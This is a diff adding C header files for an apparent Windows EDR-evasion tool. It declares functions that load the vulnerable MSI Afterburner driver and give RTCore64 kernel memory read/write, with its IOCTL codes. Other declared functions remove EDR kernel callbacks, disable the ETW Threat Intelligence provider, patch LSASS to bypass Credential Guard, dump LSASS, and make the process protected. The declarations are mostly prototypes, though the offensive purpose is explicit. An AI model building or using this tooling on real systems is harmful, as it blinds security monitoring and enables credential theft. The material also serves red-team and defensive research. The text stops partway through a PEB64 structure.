<ClInclude Include="Includes\DriverOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\LSASSDump.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FileVersion.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelPatternSearch.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\NtoskrnlOffsets.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\WdigestOffsets.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelCallbacks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Globals.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ETWThreatIntel.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\PEBBrowse.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\PEParser.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Undoc.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Undoc_64.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\UserlandHooks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <Psapi.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
DWORD WINAPI disableCredGuardByPatchingLSASS(void);
|
||||
@@ -0,0 +1,26 @@
|
||||
/*
|
||||
|
||||
--- Driver install / uninstall functions.
|
||||
--- Source and credit: https://github.com/gentilkiwi/mimikatz
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
|
||||
#endif
|
||||
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||
|
||||
BOOL UninstallVulnerableDriver();
|
||||
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
#define DISABLE_PROVIDER 0x0
|
||||
#define ENABLE_PROVIDER 0x1
|
||||
|
||||
DWORD64 GetEtwThreatIntProvRegHandleAddress();
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose);
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose);
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose);
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose);
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion);
|
||||
@@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
const TCHAR *gVulnDriverServiceName;
|
||||
@@ -0,0 +1,89 @@
|
||||
/*
|
||||
|
||||
--- Kernel callbacks operations.
|
||||
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "DriverOps.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
/*
|
||||
* PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine max: 64 callbacks
|
||||
* PspLoadImageNotifyRoutine max: 8 callbacks
|
||||
* Source: https://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel
|
||||
*/
|
||||
#define PSP_MAX_CALLBACKS 0x40
|
||||
|
||||
struct KRNL_CALLBACK {
|
||||
TCHAR const* driver;
|
||||
DWORD64 callback_addr;
|
||||
DWORD64 callback_struct;
|
||||
DWORD64 callback_func;
|
||||
BOOL removed;
|
||||
};
|
||||
|
||||
struct FOUND_EDR_CALLBACKS {
|
||||
DWORD64 index;
|
||||
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
||||
};
|
||||
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
BOOL isDriverEDR(TCHAR* driver);
|
||||
|
||||
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
/*
|
||||
|
||||
------ Process (PspCreateProcessNotifyRoutine) callbacks.
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddress(void);
|
||||
|
||||
void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
/*
|
||||
|
||||
------ Thread (PspCreateThreadNotifyRoutine) callbacks.
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddress(void);
|
||||
|
||||
void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
/*
|
||||
|
||||
------ Image loading (PspLoadImageNotifyRoutine) callbacks.
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddress(void);
|
||||
|
||||
void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
/*
|
||||
|
||||
------ All EDR Kernel callbacks enumeration / removal.
|
||||
|
||||
*/
|
||||
|
||||
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
@@ -0,0 +1,73 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
|
||||
struct RTCORE64_MSR_READ {
|
||||
DWORD Register;
|
||||
DWORD ValueHigh;
|
||||
DWORD ValueLow;
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
|
||||
|
||||
HANDLE GetDriverHandle();
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function);
|
||||
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets search functions using patterns.
|
||||
--- Ultimately not used because too unreliable and too prone to BSoD.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask);
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset);
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void);
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void);
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void);
|
||||
@@ -0,0 +1,15 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Dbghelp.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data);
|
||||
@@ -0,0 +1,53 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets from CSV functions.
|
||||
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "FileVersion.h"
|
||||
|
||||
enum NtoskrnlOffsetType {
|
||||
CREATE_PROCESS_ROUTINE = 0,
|
||||
CREATE_THREAD_ROUTINE = 1,
|
||||
LOAD_IMAGE_ROUTINE = 2,
|
||||
PROTECTION_LEVEL = 3,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
|
||||
ETW_REG_ENTRY_GUIDENTRY = 5,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
|
||||
_SUPPORTED_NTOSKRNL_OFFSETS_END
|
||||
};
|
||||
|
||||
union NtoskrnlOffsets {
|
||||
// structure version of ntoskrnl.exe's offsets
|
||||
struct {
|
||||
// ntoskrnl's PspCreateProcessNotifyRoutine
|
||||
DWORD64 pspCreateProcessNotifyRoutine;
|
||||
// ntoskrnl's PspCreateThreadNotifyRoutine
|
||||
DWORD64 pspCreateThreadNotifyRoutine;
|
||||
// ntoskrnl's PspLoadImageNotifyRoutine
|
||||
DWORD64 pspLoadImageNotifyRoutine;
|
||||
// ntoskrnl EPROCESS's _PS_PROTECTION
|
||||
DWORD64 ps_protection;
|
||||
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
|
||||
DWORD64 etwThreatIntProvRegHandle;
|
||||
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
|
||||
DWORD64 etwRegEntry_GuidEntry;
|
||||
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
|
||||
DWORD64 etwGuidEntry_ProviderEnableInfo;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
|
||||
};
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include "Undoc.h"
|
||||
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr);
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name);
|
||||
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr);
|
||||
|
||||
#if _WIN64
|
||||
PEB64* getPEB();
|
||||
TEB64* getTEB();
|
||||
#else
|
||||
PEB* getPEB(void);
|
||||
TEB* getTEB(void);
|
||||
#endif
|
||||
@@ -0,0 +1,50 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
typedef unsigned __int64 QWORD;
|
||||
|
||||
|
||||
typedef struct _IMAGE_RELOCATION_ENTRY {
|
||||
WORD Offset : 12;
|
||||
WORD Type : 4;
|
||||
} IMAGE_RELOCATION_ENTRY;
|
||||
|
||||
typedef struct PE_relocation_t {
|
||||
DWORD RVA;
|
||||
WORD Type : 4;
|
||||
} PE_relocation;
|
||||
|
||||
typedef struct PE_pointers {
|
||||
BOOL isMemoryMapped;
|
||||
BOOL isInAnotherAddressSpace;
|
||||
HANDLE hProcess;
|
||||
PVOID baseAddress;
|
||||
//headers ptrs
|
||||
IMAGE_DOS_HEADER* dosHeader;
|
||||
IMAGE_NT_HEADERS* ntHeader;
|
||||
IMAGE_OPTIONAL_HEADER* optHeader;
|
||||
IMAGE_DATA_DIRECTORY* dataDir;
|
||||
IMAGE_SECTION_HEADER* sectionHeaders;
|
||||
//export info
|
||||
IMAGE_EXPORT_DIRECTORY* exportDirectory;
|
||||
LPDWORD exportedNames;
|
||||
DWORD exportedNamesLength;
|
||||
LPDWORD exportedFunctions;
|
||||
LPWORD exportedOrdinals;
|
||||
//relocations info
|
||||
DWORD nbRelocations;
|
||||
PE_relocation* relocations;
|
||||
} PE;
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
|
||||
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase);
|
||||
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva);
|
||||
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr);
|
||||
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva);
|
||||
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable);
|
||||
DWORD PE_functionRVA(PE* pe, LPCSTR functionName);
|
||||
PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
|
||||
VOID PE_parseRelocations(PE* pe);
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||
@@ -0,0 +1,88 @@
|
||||
/*
|
||||
|
||||
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
|
||||
--- The code to locate the EPROCESS structure is adapted from:
|
||||
http://blog.rewolf.pl/blog/?p=1683
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
//extern union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||
|
||||
#define PROTECTED_PROCESS_MASK 0x00000800
|
||||
|
||||
/*
|
||||
* Defines the NtQuerySystemInformation function.
|
||||
* Undocumented function with a signature subject to possible change in futher Windows versions.
|
||||
*/
|
||||
#define SystemHandleInformation 0x10
|
||||
#define SystemHandleInformationBaseSize 0x1000
|
||||
|
||||
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
/*
|
||||
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm
|
||||
*/
|
||||
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
||||
USHORT UniqueProcessId;
|
||||
USHORT CreatorBackTraceIndex;
|
||||
UCHAR ObjectTypeIndex;
|
||||
UCHAR HandleAttributes;
|
||||
USHORT HandleValue;
|
||||
PVOID Object;
|
||||
ULONG GrantedAccess;
|
||||
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
||||
|
||||
/*
|
||||
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm
|
||||
*/
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
||||
ULONG NumberOfHandles;
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
||||
|
||||
/*
|
||||
* Defines the structures related to the process protection (EPROCESS's Protection attribute).
|
||||
* Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
|
||||
*/
|
||||
typedef enum _PS_PROTECTED_TYPE {
|
||||
PsProtectedTypeNone = 0,
|
||||
PsProtectedTypeProtectedLight = 1,
|
||||
PsProtectedTypeProtected = 2
|
||||
} PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE;
|
||||
|
||||
typedef enum _PS_PROTECTED_SIGNER {
|
||||
PsProtectedSignerNone = 0,
|
||||
PsProtectedSignerAuthenticode,
|
||||
PsProtectedSignerCodeGen,
|
||||
PsProtectedSignerAntimalware,
|
||||
PsProtectedSignerLsa,
|
||||
PsProtectedSignerWindows,
|
||||
PsProtectedSignerWinTcb,
|
||||
PsProtectedSignerWinSystem,
|
||||
PsProtectedSignerApp,
|
||||
PsProtectedSignerMax
|
||||
} PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER;
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose);
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,244 @@
|
||||
#pragma once
|
||||
#include "Undoc.h"
|
||||
|
||||
//
|
||||
// [TEB/PEB UNDER 64-BIT WINDOWS]
|
||||
// This file represents the 64-bit PEB and associated data structures for 64-bit Windows
|
||||
// This PEB is allegedly valid between XP thru [at least] Windows 8
|
||||
//
|
||||
// [REFERENCES]
|
||||
// http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html
|
||||
// http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB64_x86.html
|
||||
// https://github.com/giampaolo/psutil/commit/babd2b73538fcb6f3931f0ab6d9c100df6f37bcb (RTL_USER_PROCESS_PARAMETERS)
|
||||
// https://redplait.blogspot.com/2011/09/w8-64bit-teb-peb.html (TEB)
|
||||
//
|
||||
// [CHANGELIST]
|
||||
// 2018-05-02: -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone
|
||||
// -this file may also be included alongside tebpeb32.h which can be found at http://bytepointer.com/resources/tebpeb32.h
|
||||
// -64-bit types no longer clash with the 32-bit ones; e.g. UNICODE_STRING64, RTL_USER_PROCESS_PARAMETERS64, PEB64 (same result whether 32 or 64-bit compiler is used)
|
||||
// -added more QWORD aliases (i.e. HANDLE64 and PTR64) so underlying types are clearer, however most PEB members remain generic QWORD placeholders for now
|
||||
// -fixed missing semicolon bug in UNICODE_STRING64
|
||||
// -added prliminary RTL_USER_PROCESS_PARAMETERS64 and TEB64 with offsets
|
||||
// -included byte offsets for PEB64
|
||||
//
|
||||
// 2017-08-25: initial public release
|
||||
//
|
||||
|
||||
|
||||
//
|
||||
// base types
|
||||
//
|
||||
|
||||
//always declare 64-bit types
|
||||
#ifdef _MSC_VER
|
||||
//Visual C++
|
||||
typedef unsigned __int64 QWORD;
|
||||
typedef __int64 INT64;
|
||||
#else
|
||||
//GCC
|
||||
typedef unsigned long long QWORD;
|
||||
typedef long long INT64;
|
||||
#endif
|
||||
typedef QWORD PTR64;
|
||||
#ifndef __HANDLE64_DEFINED__
|
||||
typedef QWORD HANDLE64;
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
//UNCOMMENT line below if you are not including windows.h
|
||||
//#define WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||
#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||
|
||||
//base types
|
||||
typedef unsigned char BYTE;
|
||||
typedef char CHAR;
|
||||
typedef unsigned short WORD;
|
||||
typedef short INT16;
|
||||
typedef unsigned long DWORD;
|
||||
typedef long INT32;
|
||||
typedef unsigned __int64 QWORD;
|
||||
typedef __int64 INT64;
|
||||
typedef void* HANDLE;
|
||||
typedef unsigned short WCHAR;
|
||||
|
||||
//base structures
|
||||
union LARGE_INTEGER
|
||||
{
|
||||
struct
|
||||
{
|
||||
DWORD LowPart;
|
||||
INT32 HighPart;
|
||||
} u;
|
||||
INT64 QuadPart;
|
||||
};
|
||||
|
||||
union ULARGE_INTEGER
|
||||
{
|
||||
struct
|
||||
{
|
||||
DWORD LowPart;
|
||||
DWORD HighPart;
|
||||
} u;
|
||||
QWORD QuadPart;
|
||||
};
|
||||
|
||||
#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||
|
||||
typedef struct UNICODE_STRING64
|
||||
{
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
} u;
|
||||
QWORD dummyalign;
|
||||
} uOrDummyAlign;
|
||||
QWORD Buffer;
|
||||
} UNICODE_STRING64;
|
||||
|
||||
typedef struct _CLIENT_ID64
|
||||
{
|
||||
QWORD ProcessId;
|
||||
QWORD ThreadId;
|
||||
} CLIENT_ID64;
|
||||
|
||||
|
||||
//NOTE: the members of this structure are not yet complete
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS64
|
||||
{
|
||||
BYTE Reserved1[16]; //0x00
|
||||
QWORD Reserved2[5]; //0x10
|
||||
UNICODE_STRING64 CurrentDirectoryPath; //0x38
|
||||
HANDLE64 CurrentDirectoryHandle; //0x48
|
||||
UNICODE_STRING64 DllPath; //0x50
|
||||
UNICODE_STRING64 ImagePathName; //0x60
|
||||
UNICODE_STRING64 CommandLine; //0x70
|
||||
PTR64 Environment; //0x80
|
||||
} RTL_USER_PROCESS_PARAMETERS64;
|
||||
|
||||
//
|
||||
// PEB64 structure - TODO: comb more through http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html and add OS delineations and Windows 10 updates
|
||||
//
|
||||
// The structure represented here is a work-in-progress as only members thru offset 0x320 are listed; the actual sizes per OS are:
|
||||
// 0x0358 XP/WS03
|
||||
// 0x0368 Vista
|
||||
// 0x037C Windows 7
|
||||
// 0x0388 Windows 8
|
||||
// 0x07A0 Windows 10
|
||||
//
|
||||
typedef struct PEB64
|
||||
{
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
BYTE InheritedAddressSpace; //0x000
|
||||
BYTE ReadImageFileExecOptions; //0x001
|
||||
BYTE BeingDebugged; //0x002
|
||||
BYTE _SYSTEM_DEPENDENT_01; //0x003
|
||||
} flags;
|
||||
QWORD dummyalign;
|
||||
} dword0;
|
||||
QWORD Mutant; //0x0008
|
||||
QWORD ImageBaseAddress; //0x0010
|
||||
PEB_LDR_DATA* Ldr; //0x0018
|
||||
PTR64 ProcessParameters; //0x0020 / pointer to RTL_USER_PROCESS_PARAMETERS64
|
||||
QWORD SubSystemData; //0x0028
|
||||
QWORD ProcessHeap; //0x0030
|
||||
QWORD FastPebLock; //0x0038
|
||||
QWORD _SYSTEM_DEPENDENT_02; //0x0040
|
||||
QWORD _SYSTEM_DEPENDENT_03; //0x0048
|
||||
QWORD _SYSTEM_DEPENDENT_04; //0x0050
|
||||
union
|
||||
{
|
||||
QWORD KernelCallbackTable; //0x0058
|
||||
QWORD UserSharedInfoPtr; //0x0058
|
||||
}KernelCallbackTableOrUserSharedInfoPtr;
|
||||
DWORD SystemReserved; //0x0060
|
||||
DWORD _SYSTEM_DEPENDENT_05; //0x0064
|
||||
QWORD _SYSTEM_DEPENDENT_06; //0x0068
|
||||
QWORD TlsExpansionCounter; //0x0070
|
||||
QWORD TlsBitmap; //0x0078
|
||||
DWORD TlsBitmapBits[2]; //0x0080
|
||||
QWORD ReadOnlySharedMemoryBase; //0x0088
|
||||
QWORD _SYSTEM_DEPENDENT_07; //0x0090
|
||||
QWORD ReadOnlyStaticServerData; //0x0098
|
||||
QWORD AnsiCodePageData; //0x00A0
|
||||
QWORD OemCodePageData; //0x00A8
|
||||
QWORD UnicodeCaseTableData; //0x00B0
|
||||
DWORD NumberOfProcessors; //0x00B8
|
||||
union
|
||||
{
|
||||
DWORD NtGlobalFlag; //0x00BC
|
||||
DWORD dummy02; //0x00BC
|
||||
}NtGlobalFlagOrdummy02;
|
||||
LARGE_INTEGER CriticalSectionTimeout; //0x00C0
|
||||
QWORD HeapSegmentReserve; //0x00C8
|
||||
QWORD HeapSegmentCommit; //0x00D0
|
||||
QWORD HeapDeCommitTotalFreeThreshold; //0x00D8
|
||||
QWORD HeapDeCommitFreeBlockThreshold; //0x00E0
|
||||
DWORD NumberOfHeaps; //0x00E8
|
||||
DWORD MaximumNumberOfHeaps; //0x00EC
|
||||
QWORD ProcessHeaps; //0x00F0
|
||||
QWORD GdiSharedHandleTable; //0x00F8
|
||||
QWORD ProcessStarterHelper; //0x0100
|
||||
QWORD GdiDCAttributeList; //0x0108
|
||||
QWORD LoaderLock; //0x0110
|
||||
DWORD OSMajorVersion; //0x0118
|
||||
DWORD OSMinorVersion; //0x011C
|
||||
WORD OSBuildNumber; //0x0120
|
||||
WORD OSCSDVersion; //0x0122
|
||||
DWORD OSPlatformId; //0x0124
|
||||
DWORD ImageSubsystem; //0x0128
|
||||
DWORD ImageSubsystemMajorVersion; //0x012C
|
||||
QWORD ImageSubsystemMinorVersion; //0x0130
|
||||
union
|
||||
{
|
||||
QWORD ImageProcessAffinityMask; //0x0138
|
||||
QWORD ActiveProcessAffinityMask; //0x0138
|
||||
}ImageProcessAffinityMaskOrActiveProcessAffinityMask;
|
||||
QWORD GdiHandleBuffer[30]; //0x0140
|
||||
QWORD PostProcessInitRoutine; //0x0230
|
||||
QWORD TlsExpansionBitmap; //0x0238
|
||||
DWORD TlsExpansionBitmapBits[32]; //0x0240
|
||||
QWORD SessionId; //0x02C0
|
||||
ULARGE_INTEGER AppCompatFlags; //0x02C8
|
||||
ULARGE_INTEGER AppCompatFlagsUser; //0x02D0
|
||||
QWORD pShimData; //0x02D8
|
||||
QWORD AppCompatInfo; //0x02E0
|
||||
UNICODE_STRING64 CSDVersion; //0x02E8
|
||||
